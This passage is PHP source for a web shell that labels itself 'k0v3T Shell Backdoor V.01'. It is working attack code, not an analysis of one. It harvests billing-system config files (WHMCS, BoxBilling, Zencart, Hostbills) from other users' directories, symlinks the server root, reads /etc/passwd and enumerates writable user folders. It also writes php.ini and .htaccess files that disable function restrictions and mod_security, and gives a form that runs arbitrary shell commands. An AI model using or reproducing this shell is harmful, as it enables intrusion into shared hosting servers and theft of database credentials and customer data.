\"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/basket/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/SECURE/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/Secure/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/secure/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/SALES/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/Sales/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/sales/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/BILL/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/Bill/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/bill/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/PURCHASE/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/Purchase/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/purchase/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/ACCOUNT/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/Account/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/account/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/USER/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/User/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/user/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/CLIENTS/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/Clients/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/clients/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/BILLINGS/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/Billings/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/billings/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/MY/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/My/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/my/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/secure/whm/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/secure/whmcs/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/panel/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/clientes/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/cliente/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/support/order/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/boxbilling/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/box/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/host/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/Host/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/supportes/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/support/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/hosting/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/cart/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/order/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/client/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/clients/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/cliente/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/clientes/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/billing/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/billings/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/my/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/secure/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/support/order/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/includes/dist-configure.php\" => \"Zencart\",\r\n\"/home/\$user_con7ext/public_html/zencart/includes/dist-configure.php\" => \"Zencart\",\r\n\"/home/\$user_con7ext/public_html/products/includes/dist-configure.php\" => \"Zencart\",\r\n\"/home/\$user_con7ext/public_html/cart/includes/dist-configure.php\" => \"Zencart\",\r\n\"/home/\$user_con7ext/public_html/shop/includes/dist-configure.php\" => \"Zencart\",\r\n\"/home/\$user_con7ext/public_html/includes/iso4217.php\" => \"Hostbills\",\r\n\"/home/\$user_con7ext/public_html/hostbills/includes/iso4217.php\" => \"Hostbills\",\r\n\"/home/\$user_con7ext/public_html/host/includes/iso4217.php\" => \"Hostbills\",\r\n\"/home/\$user_con7ext/public_html/Host/includes/iso4217.php\" => \"Hostbills\",\r\n\"/home/\$user_con7ext/public_html/supportes/includes/iso4217.php\" => \"Hostbills\",\r\n\"/home/\$user_con7ext/public_html/support/includes/iso4217.php\" => \"Hostbills\",\r\n\"/home/\$user_con7ext/public_html/hosting/includes/iso4217.php\" => \"Hostbills\",\r\n\"/home/\$user_con7ext/public_html/cart/includes/iso4217.php\" => \"Hostbills\",\r\n\"/home/\$user_con7ext/public_html/order/includes/iso4217.php\" => \"Hostbills\",\r\n\"/home/\$user_con7ext/public_html/client/includes/iso4217.php\" => \"Hostbills\",\r\n\"/home/\$user_con7ext/public_html/clients/includes/iso4217.php\" => \"Hostbills\",\r\n\"/home/\$user_con7ext/public_html/cliente/includes/iso4217.php\" => \"Hostbills\",\r\n\"/home/\$user_con7ext/public_html/clientes/includes/iso4217.php\" => \"Hostbills\",\r\n\"/home/\$user_con7ext/public_html/billing/includes/iso4217.php\" => \"Hostbills\",\r\n\"/home/\$user_con7ext/public_html/billings/includes/iso4217.php\" => \"Hostbills\",\r\n\"/home/\$user_con7ext/public_html/my/includes/iso4217.php\" => \"Hostbills\",\r\n\"/home/\$user_con7ext/public_html/secure/includes/iso4217.php\" => \"Hostbills\",\r\n\"/home/\$user_con7ext/public_html/support/order/includes/iso4217.php\" => \"Hostbills\"\r\n); \r\n\r\nforeach(\$grab_config as \$config => \$nama_config) {\r\n\tif(\$_POST['config'] == 'grab') {\r\n\$ambil_config = file_get_contents(\$config);\r\nif(\$ambil_config == '') {\r\n} else {\r\n\$file_config = fopen(\"k0v3T_configgrab/\$user_k0v3T-\$nama_config.txt\",\"w\");\r\nfputs(\$file_config,\$ambil_config);\r\n}\r\n}\r\nif(\$_POST['config'] == 'symlink') {\r\n@symlink(\$config,\"k0v3T_Symconfig/\".\$user_k0v3T.\"-\".\$nama_config.\".txt\");\r\n}\r\nif(\$_POST['config'] == '404') {\r\n\$sym404=symlink(\$config,\"k0v3T_sym404/\".\$user_k0v3T.\"-\".\$nama_config.\".txt\");\r\nif(\$sym404){\r\n\t@mkdir(\"k0v3T_sym404/\".\$user_k0v3T.\"-\".\$nama_config.\".txt404\", 0777);\r\n\t\$htaccess=\"Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nHeaderName k0v3T.txt\r\nSatisfy Any\r\nIndexOptions IgnoreCase FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* SuppressHTMLPreamble\r\nIndexIgnore *\";\r\n\r\n@file_put_contents(\"k0v3T_sym404/\".\$user_k0v3T.\"-\".\$nama_config.\".txt404/.htaccess\",\$htaccess);\r\n\r\n@symlink(\$config,\"k0v3T_sym404/\".\$user_k0v3T.\"-\".\$nama_config.\".txt404/k0v3T.txt\");\r\n\r\n\t}\r\n\r\n}\r\n\r\n } \r\n\t\t} if(\$_POST['config'] == 'grab') {\r\n echo \"<center><a href='?path=\$path/k0v3T_configgrab'><font color=lime>Done</font></a></center>\";\r\n\t\t}\r\n if(\$_POST['config'] == '404') {\r\n echo \"<center>\r\n<a href=\\\"k0v3T_sym404/root/\\\">SymlinkNya</a>\r\n<br><a href=\\\"k0v3T_sym404/\\\">Configurations</a></center>\";\r\n }\r\n if(\$_POST['config'] == 'symlink') {\r\necho \"<center>\r\n<a href=\\\"k0v3T_symconfig/root/\\\">Symlinknya</a>\r\n<br><a href=\\\"k0v3T_symconfig/\\\">Configurations</a></center>\";\r\n\t\t\t}if(\$_POST['config'] == 'symvhost') {\r\necho \"<center>\r\n<a href=\\\"k0v3T_symvhost/root/\\\">Root Server</a>\r\n<br><a href=\\\"k0v3T_symvhost/\\\">Configurations</a></center>\";\r\n\t\t\t}\r\n\t\t\r\n\t\t\r\n\t\t}else{\r\n echo \"<form method=\\\"post\\\" action=\\\"\\\"><center>\r\n\t\t</center></select><br><textarea name=\\\"passwd\\\" class='area' rows='15' cols='60'>\\n\";\r\n echo include(\"/etc/passwd\"); \r\n echo \"</textarea><br><br>\r\n <select class=\\\"select\\\" name=\\\"config\\\" style=\\\"width: 450px;\\\" height=\\\"10\\\">\r\n <option value=\\\"grab\\\">Config Grab</option>\r\n <option value=\\\"symlink\\\">Symlink Config</option>\r\n\t\t<option value=\\\"404\\\">Config 404</option>\r\n\t\t<option value=\\\"symvhosts\\\">Vhosts Config Grabber</option><br><br><input type=\\\"submit\\\" value=\\\"Start!!\\\"></td></tr></center>\\n\";\r\n}\r\n\r\n} elseif(\$_GET['a'] == 'disablefunc'){\r\n\t\techo \"<br><br><center>\";\r\n\t\techo \"<form method=post><input type=submit name=ini value='php.ini' /> <input type=submit name=htce value='.htaccess' /> <input type=submit name=litini value='Litespeed' /></form>\";\r\n\t\tif(isset(\$_POST['ini']))\r\n{\r\n\t\t\$file = fopen(\"php.ini\",\"w\");\r\n\t\techo fwrite(\$file,\"disable_functions=none\r\nsafe_mode = Off\r\n\t\");\r\n\t\tfclose(\$file);\r\n\t\techo \"<a href='php.ini'>click here!</a>\";\r\n}\t\tif(isset(\$_POST['htce']))\r\n{\r\n\t\t\$file = fopen(\".htaccess\",\"w\");\r\n\t\techo fwrite(\$file,\"<IfModule mod_security.c>\r\nSecFilterEngine Off\r\nSecFilterScanPOST Off\r\n</IfModule>\r\n\t\");\r\n\t\tfclose(\$file);\r\n\t\techo \"htaccess successfully created!\";\r\n} if(isset(\$_POST['litini'])){\r\n\t\t\$iniph = '<? n echo ini_get(\"safe_mode\"); n echo ini_get(\"open_basedir\"); n include(\$_GET[\"file\"]); n ini_restore(\"safe_mode\"); n ini_restore(\"open_basedir\"); n echo ini_get(\"safe_mode\"); n echo ini_get(\"open_basedir\"); n include(\$_GET[\"ss\"]; n ?>';\r\n\t\t\t \$byph = \"safe_mode = Off n disable_functions= \";\r\n\t\t\$comp=\"PEZpbGVzICoucGhwPg0KRm9yY2VUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwNA0KPC9GaWxlcz4=\";\r\n\t\tfile_put_contents(\"php.ini\",base64_decode(\$byph));\r\n\t\tfile_put_contents(\"ini.php\",base64_decode(\$iniph));\r\n\t\tfile_put_contents(\".htaccess\",base64_decode(\$comp));\r\n\t\techo \"<script>alert('Disable Functions in Litespeed Created'); hideAll();</script>\";\r\n\t\techo\"</center>\";\r\n}\r\n\r\n}\r\nelseif(\$_GET['a'] == 'symlink') {\r\n\$full = str_replace(\$_SERVER['DOCUMENT_ROOT'], \"\", \$path);\r\n\$d0mains = @file(\"/etc/named.conf\");\r\n##httaces\r\nif(\$d0mains){\r\n@mkdir(\"k0v3T_sym\",0777);\r\n@chdir(\"k0v3T_sym\");\r\n@exe(\"ln -s / root\");\r\n\$file3 = 'Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php\r\nAddHandler text/plain .php\r\nSatisfy Any';\r\n\$fp3 = fopen('.htaccess','w');\r\n\$fw3 = fwrite(\$fp3,\$file3);@fclose(\$fp3);\r\necho \"<br>\r\n<table align=center border=1 style='width:60%;border-color:#333333;'>\r\n<tr>\r\n<td align=center><font size=2>S. No.</font></td>\r\n<td align=center><font size=2>Domains</font></td>\r\n<td align=center><font size=2>Users</font></td>\r\n<td align=center><font size=2>Symlink</font></td>\r\n</tr>\";\r\n\$dcount = 1;\r\nforeach(\$d0mains as \$d0main){\r\nif(eregi(\"zone\",\$d0main)){preg_match_all('#zone \"(.*)\"#', \$d0main, \$domains);\r\nflush();\r\nif(strlen(trim(\$domains[1][0])) > 2){\r\n\$user = posix_getpwuid(@fileowner(\"/etc/valiases/\".\$domains[1][0]));\r\necho \"<tr align=center><td><font size=2>\" . \$dcount . \"</font></td>\r\n<td align=left><a href=http://www.\".\$domains[1][0].\"/><font class=txt>\".\$domains[1][0].\"</font></a></td>\r\n<td>\".\$user['name'].\"</td>\r\n<td><a href='\$full/k0v3T_sym/root/home/\".\$user['name'].\"/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>\";\r\nflush();\r\n\$dcount++;}}}\r\necho \"</table>\";\r\n}else{\r\n\$TEST=@file('/etc/passwd');\r\nif (\$TEST){\r\n@mkdir(\"k0v3T_sym\",0777);\r\n@chdir(\"k0v3T_sym\");\r\nexe(\"ln -s / root\");\r\n\$file3 = 'Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php\r\nAddHandler text/plain .php\r\nSatisfy Any';\r\n \$fp3 = fopen('.htaccess','w');\r\n \$fw3 = fwrite(\$fp3,\$file3);\r\n @fclose(\$fp3);\r\n echo \"\r\n <table align=center border=1><tr>\r\n <td align=center><font size=3>S. No.</font></td>\r\n <td align=center><font size=3>Users</font></td>\r\n <td align=center><font size=3>Symlink</font></td></tr>\";\r\n \$dcount = 1;\r\n \$file = fopen(\"/etc/passwd\", \"r\") or exit(\"Unable to open file!\");\r\n while(!feof(\$file)){\r\n \$s = fgets(\$file);\r\n \$matches = array();\r\n \$t = preg_match('/\\/(.*?)\\:\\//s', \$s, \$matches);\r\n \$matches = str_replace(\"home/\",\"\",\$matches[1]);\r\n if(strlen(\$matches) > 12 || strlen(\$matches) == 0 || \$matches == \"bin\" || \$matches == \"etc/X11/fs\" || \$matches == \"var/lib/nfs\" || \$matches == \"var/arpwatch\" || \$matches == \"var/gopher\" || \$matches == \"sbin\" || \$matches == \"var/adm\" || \$matches == \"usr/games\" || \$matches == \"var/ftp\" || \$matches == \"etc/ntp\" || \$matches == \"var/www\" || \$matches == \"var/named\")\r\n continue;\r\n echo \"<tr><td align=center><font size=2>\" . \$dcount . \"</td>\r\n <td align=center><font class=txt>\" . \$matches . \"</td>\";\r\n echo \"<td align=center><font class=txt><a href=\$full/k0v3T_sym/root/home/\" . \$matches . \"/public_html target='_blank'>Symlink</a></td></tr>\";\r\n \$dcount++;}fclose(\$file);\r\n echo \"</table>\";}else{if(\$os != \"Windows\"){@mkdir(\"k0v3T_sym\",0777);@chdir(\"k0v3T_sym\");@exe(\"ln -s / root\");\$file3 = '\r\n Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php\r\nAddHandler text/plain .php\r\nSatisfy Any\r\n';\r\n \$fp3 = fopen('.htaccess','w');\r\n \$fw3 = fwrite(\$fp3,\$file3);@fclose(\$fp3);\r\n echo \"\r\n <div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>\r\n <table align=center border=1><tr>\r\n <td align=center><font size=3>ID</font></td>\r\n <td align=center><font size=3>Users</font></td>\r\n <td align=center><font size=3>Symlink</font></td></tr>\";\r\n \$temp = \"\";\$val1 = 0;\$val2 = 1000;\r\n for(;\$val1 <= \$val2;\$val1++) {\$uid = @posix_getpwuid(\$val1);\r\n if (\$uid)\$temp .= join(':',\$uid).\"\\n\";}\r\n echo '<br/>';\$temp = trim(\$temp);\$file5 =\r\n fopen(\"test.txt\",\"w\");\r\n fputs(\$file5,\$temp);\r\n fclose(\$file5);\$dcount = 1;\$file =\r\n fopen(\"test.txt\", \"r\") or exit(\"Unable to open file!\");\r\n while(!feof(\$file)){\$s = fgets(\$file);\$matches = array();\r\n \$t = preg_match('/\\/(.*?)\\:\\//s', \$s, \$matches);\$matches = str_replace(\"home/\",\"\",\$matches[1]);\r\n if(strlen(\$matches) > 12 || strlen(\$matches) == 0 || \$matches == \"bin\" || \$matches == \"etc/X11/fs\" || \$matches == \"var/lib/nfs\" || \$matches == \"var/arpwatch\" || \$matches == \"var/gopher\" || \$matches == \"sbin\" || \$matches == \"var/adm\" || \$matches == \"usr/games\" || \$matches == \"var/ftp\" || \$matches == \"etc/ntp\" || \$matches == \"var/www\" || \$matches == \"var/named\")\r\n continue;\r\n echo \"<tr><td align=center><font size=2>\" . \$dcount . \"</td>\r\n <td align=center><font class=txt>\" . \$matches . \"</td>\";\r\n echo \"<td align=center><font class=txt><a href=\$full/k0v3T_sym/root/home/\" . \$matches . \"/public_html target='_blank'>Symlink</a></td></tr>\";\r\n \$dcount++;}\r\n fclose(\$file);\r\n echo \"</table></div></center>\";unlink(\"test.txt\");\r\n } else\r\n echo \"<center><font size=3>Cannot create Symlink</font></center>\";\r\n }\r\n }\r\n##JUMPING \r\n} elseif(\$_GET['a'] == 'jumping') {\r\n \$i = 0;\r\n echo \"<pre><div class='margin: 5px auto;'>\";\r\n \$etc = fopen(\"/etc/passwd\", \"r\") or die(\"<font color=red>Can't read /etc/passwd</font>\");\r\n while(\$passwd = fgets(\$etc)) {\r\nif(\$passwd == '' || !\$etc) {\r\n echo \"<font color=red>Can't read /etc/passwd</font>\";\r\n} else {\r\n preg_match_all('/(.*?):x:/', \$passwd, \$user_jumping);\r\n foreach(\$user_jumping[1] as \$user_idx_jump) {\r\n \$user_jumping_dir = \"/home/\$user_idx_jump/public_html\";\r\n if(is_readable(\$user_jumping_dir)) {\r\n \$i++;\r\n \$jrw = \"[<font color=#5ddcfc>R</font>] <a href='?dir=\$user_jumping_dir'><font color=red>\$user_jumping_dir</font></a>\";\r\n if(is_writable(\$user_jumping_dir)) {\r\n \$jrw = \"[<font color=#5ddcfc>RW</font>] <a href='?dir=\$user_jumping_dir'><font color=#5ddcfc>\$user_jumping_dir</font></a>\";\r\n }\r\n echo \$jrw;\r\n if(function_exists('posix_getpwuid')) {\r\n \$domain_jump = file_get_contents(\"/etc/named.conf\"); \r\n if(\$domain_jump == '') {\r\n echo \" => ( <font color=red>gagal mengambil nama domain nya</font> )<br>\";\r\n } else {\r\n preg_match_all(\"#/var/named/(.*?).db#\", \$domain_jump, \$domains_jump);\r\n foreach(\$domains_jump[1] as \$dj) {\r\n \$user_jumping_url = posix_getpwuid(@fileowner(\"/etc/valiases/\$dj\"));\r\n \$user_jumping_url = \$user_jumping_url['name'];\r\n if(\$user_jumping_url == \$user_idx_jump) {\r\n echo \" => ( <u>\$dj</u> )<br>\";\r\n break;\r\n }\r\n }\r\n }\r\n } else {\r\n echo \"<br>\";\r\n }\r\n }\r\n }\r\n}\r\n }\r\n if(\$i == 0) {\r\n } else {\r\necho \"<br>Total ada \".\$i.\" Kamar di \".gethostbyname(\$_SERVER['HTTP_HOST']).\"\";\r\n \r\n echo \"</div></pre>\";\r\n\t\t}\r\n\r\n\r\n\r\n//CONFIG\r\n\r\n} elseif(\$_GET['a'] == 'cmd') {\r\n\techo \"<form method='post'>\r\n\t<font style='text-decoration: underline;'>\".\$user.\"@\".\$ip.\": ~ \$ </font>\r\n\t<input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>\r\n\t</form>\";\r\n\tif(\$_POST['do_cmd']) {\r\n\t\techo \"<pre>\".exe(\$_POST['cmd']).\"</pre>\";\r\n\t}\r\n\r\n//START\r\n} elseif(isset(\$_GET['filesrc'])){\r\necho \"<tr><td>Current File : \";\r\necho \$_GET['filesrc'];\r\necho '</tr></td></table><br />';\r\necho(' <center><textarea style=\"width:80%;height:50%;\" readonly> '.htmlspecialchars(file_get_contents(\$_GET['filesrc'])).'</textarea></center>');\r\n}elseif(isset(\$_GET['option']) && \$_POST['opt'] != 'delete'){\r\necho '</table><br />'.\$_POST['path'].'<br /><br />';\r\nif(\$_POST['opt'] == 'chmod'){\r\nif(isset(\$_POST['perm'])){\r\nif(chmod(\$_POST['path'],\$_POST['perm'])){\r\necho '<font color=\"#5ddcfc\">Ganti Permission Berhasil Gan</font><br />';\r\n}else{\r\necho '<font color=\"RED\">Ganti Permission Gagal Gan</font><br />';\r\n}\r\n}\r\necho '<form method=\"POST\">\r\nPermission : <input name=\"perm\" type=\"text\" size=\"4\" value=\"'.substr(sprintf('%o', fileperms(\$_POST['path'])), -4).'\" />\r\n<input type=\"hidden\" name=\"path\" value=\"'.\$_POST['path'].'\">\r\n<input type=\"hidden\" name=\"opt\" value=\"chmod\">\r\n<input type=\"submit\" value=\"Chmod\" />\r\n</form>';\r\n}elseif(\$_POST['opt'] == 'rename'){\r\nif(isset(\$_POST['newname'])){\r\nif(rename(\$_POST['path'],\$path.'/'.\$_POST['newname'])){\r\necho '<font color=\"#5ddcfc\">Ganti Nama Berhasil Gan</font><br />';\r\n}else{\r\necho '<font color=\"RED\">Ganti Nama Gagal Gan</font><br />';\r\n}\r\n\$_POST['name'] = \$_POST['newname'];\r\n}\r\necho '<form method=\"POST\">\r\nNama Baru : <input name=\"newname\" type=\"text\" size=\"30\" value=\"'.\$_POST['name'].'\" />\r\n<input type=\"hidden\" name=\"path\" value=\"'.\$_POST['path'].'\">\r\n<input type=\"hidden\" name=\"opt\" value=\"rename\">\r\n<input type=\"submit\" value=\"Ubah Nama\" />\r\n</form>';\r\n}elseif(\$_POST['opt'] == 'edit'){\r\nif(isset(\$_POST['src'])){\r\n\$fp = fopen(\$_POST['path'],'w');\r\nif(fwrite(\$fp,\$_POST['src'])){\r\necho '<font color=\"#5ddcfc\">Edit File Berhasil Gan</font><br />';\r\n}else{\r\necho '<font color=\"RED\">Edit File Gagal Gan</font><br />';\r\n}\r\nfclose(\$fp);\r\n}\r\necho '<form method=\"POST\">\r\n<textarea cols=140 rows=20 name=\"src\">'.htmlspecialchars(file_get_contents(\$_POST['path'])).'</textarea><br />\r\n<input type=\"hidden\" name=\"path\" value=\"'.\$_POST['path'].'\">\r\n<input type=\"hidden\" name=\"opt\" value=\"edit\">\r\n<input type=\"submit\" value=\"Edit File\" />\r\n</form>';\r\n}\r\necho '</center>';\r\n}else{\r\necho '</table><br /><center>';\r\nif(isset(\$_GET['option']) && \$_POST['opt'] == 'delete'){\r\nif(\$_POST['type'] == 'dir'){\r\nif(rmdir(\$_POST['path'])){\r\necho '<font color=\"#5ddcfc\">Hapus Dir Berhasil Gan</font><br />';\r\n}else{\r\necho '<font color=\"red\">Hapus Dir Gagal Gan</font><br />';\r\n}\r\n}elseif(\$_POST['type'] == 'file'){\r\nif(unlink(\$_POST['path'])){\r\necho '<font color=\"#5ddcfc\">Hapus File Berhasil Gan</font><br />';\r\n}else{\r\necho '<font color=\"#red\">Hapus File Gagal Gan</font><br />';\r\n}\r\n}\r\n}\r\n\t\t\r\necho '</center>';\r\n\$scandir = scandir(\$path);\r\necho '<div id=\"content\"><table width=\"700px\" border=\"0\" cellpadding=\"4\" cellspacing=\"1\" align=\"center\">\r\n<tr class=\"first\">\r\n<b><td><center><font color=black size=3>Name</font></center></td></b>\r\n<b><td><center><font color=black size=3>Size</font></center></td></b>\r\n<b><td><center><font color=black size=3>Permissions</font></center></td></b>\r\n<b><td><center><font color=black size=3>Options</font></center></td></b>\r\n</tr>';\r\n\r\nforeach(\$scandir as \$dir){\r\nif(!is_dir(\"\$path/\$dir\") || \$dir == '.' || \$dir == '..') continue;\r\necho \"<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA\".\"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp\".\"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>\r\n<a href=\\\"?path=\$path/\$dir\\\"><font color=red>\$dir</font></a></td>\r\n<td><center><font color=red>Directory</font></center></td>\r\n<td><center>\";\r\n\t\r\nif(is_writable(\"\$path/\$dir\")) echo '<font color=\"#5ddcfc\">';\r\nelseif(!is_readable(\"\$path/\$dir\")) echo '<font color=\"red\">';\r\necho perms(\"\$path/\$dir\");\r\nif(is_writable(\"\$path/\$dir\") || !is_readable(\"\$path/\$dir\")) echo '</font>';\r\n\r\necho \"</center></td>\r\n<td><center><form method=\\\"POST\\\" action=\\\"?option&path=\$path\\\">\r\n<select name=\\\"opt\\\">\r\n<option value=\\\"Select\\\">Select</option>\r\n<option value=\\\"delete\\\">Delete</option>\r\n<option value=\\\"chmod\\\">Chmod</option>\r\n<option value=\\\"rename\\\">Rename</option>\r\n</select>\r\n<input type=\\\"hidden\\\" name=\\\"type\\\" value=\\\"dir\\\">\r\n<input type=\\\"hidden\\\" name=\\\"name\\\" value=\\\"\$dir\\\">\r\n<input type=\\\"hidden\\\" name=\\\"path\\\" value=\\\"\$path/\$dir\\\">\r\n<input type=\\\"submit\\\" value=\\\">\\\" />\r\n</form></center></td>\r\n</tr>\";\r\n}\r\necho '<tr class=\"first\"><td></td><td></td><td></td><td></td></tr>';\r\nforeach(\$scandir as \$file){\r\nif(!is_file(\"\$path/\$file\")) continue;\r\n\$size = filesize(\"\$path/\$file\")/1024;\r\n\$size = round(\$size,3);\r\nif(\$size >= 1024){\r\n\$size = round(\$size/1024,2).' MB';\r\n}else{\r\n\$size = \$size.' KB';\r\n}\r\n\r\necho \"<tr>\r\n<td><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='>\r\n<a href=\\\"?filesrc=\$path/\$file&path=\$path\\\"><font color=red>\$file</font></a></td>\r\n<td><center><font color=Red>\".\$size.\"</font></center></td>\r\n<td><center>\";\r\nif(is_writable(\"\$path/\$file\")) echo '<font color=#5ddcfc>';\r\nelseif(!is_readable(\"\$path/\$file\")) echo '<font color=red>';\r\necho perms(\"\$path/\$file\");\r\nif(is_writable(\"\$path/\$file\") || !is_readable(\"\$path/\$file\")) echo '</font>';\r\necho \"</center></td>\r\n<td><center><form method=\\\"POST\\\" action=\\\"?option&path=\$path\\\">\r\n<select name=\\\"opt\\\">\r\n<option value=\\\"Select\\\">Select</option>\r\n<option value=\\\"delete\\\">Delete</option>\r\n<option value=\\\"chmod\\\">Chmod</option>\r\n<option value=\\\"rename\\\">Rename</option>\r\n<option value=\\\"edit\\\">Edit</option>\r\n</select>\r\n<input type=\\\"hidden\\\" name=\\\"type\\\" value=\\\"file\\\">\r\n<input type=\\\"hidden\\\" name=\\\"name\\\" value=\\\"\$file\\\">\r\n<input type=\\\"hidden\\\" name=\\\"path\\\" value=\\\"\$path/\$file\\\">\r\n<input type=\\\"submit\\\" value=\\\">\\\" />\r\n</form></center></td>\r\n</tr>\";\r\n}\r\necho '</table>\r\n</div>';\r\n}\r\necho '<br /><center><font size=3 ; color=red>k0v3T Shell Backdoor V.01<br><font size=4 ; color=#5ddcfc>Copyright © <font color=\"red\">Indonesian Hacker Community</font></br>\r\n\r\n</body>\r\n</html>';\r\nfunction perms(\$file){\r\n\$perms = fileperms(\$file);\r\n\r\nif ((\$perms & 0xC000) == 0xC000) {\r\n// Socket\r\n\$info = 's';\r\n} elseif ((\$perms & 0xA000) == 0xA000) {\r\n// Symbolic Link\r\n\$info = 'l';\r\n} elseif ((\$perms & 0x8000) == 0x8000) {\r\n// 